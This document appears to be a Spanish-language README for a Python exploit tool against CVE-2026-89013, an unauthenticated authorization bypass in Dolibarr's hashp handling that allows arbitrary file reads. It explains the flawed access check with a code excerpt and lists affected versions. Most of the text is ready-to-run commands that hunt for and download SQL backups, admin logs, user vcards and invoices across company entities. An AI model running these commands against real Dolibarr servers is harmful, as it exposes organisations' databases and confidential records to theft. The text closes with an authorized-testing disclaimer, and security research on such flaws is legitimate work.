
Exploit en Python para CVE-2026-89013, un bypass de autorización no autenticado en Dolibarr hashp que permite la lectura arbitraria de archivos, con modos check, list, hunt, read y download.
Exploit para CVE-2026-89013: document.php y viewimage.php fuerzan NOLOGIN cuando
el parámetro hashp está presente. El valor de marcador interno shared omite
la resolución del token de compartición, pero la anulación del control de acceso
sigue activándose para cualquier valor no vacío y establece $accessallowed = 1,
descartando el resultado de dol_check_secure_access_document(). Por lo tanto, una
petición no autenticada puede leer cualquier archivo en todos los árboles de modulepart:
documentos de negocio, registros de administración, copias de seguridad SQL
(modulepart=systemtools), fuentes de módulos personalizados (modulepart=packages),
y otras entidades multicompañía mediante .
&entity=N| Afectado | Dolibarr 23.0.4 – 24.0.0 |
| Corregido | 24.0.1 |
| Requisitos previos | ninguno (no autenticado) |
| Impacto | lectura arbitraria de archivos dentro de los directorios gestionados de Dolibarr |
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
Una regresión del commit 5028dae981e (2026-08-12), distribuida por primera vez en 23.0.4 y
24.0.0. El traversal (../) se sanea en el lado del servidor — esto es una omisión de
autorización, no un path traversal.
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
Solo biblioteca estándar (Python 3.8+). Compatible con --proxy, --insecure, --timeout.

Solo para pruebas e investigación autorizadas. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito de probar.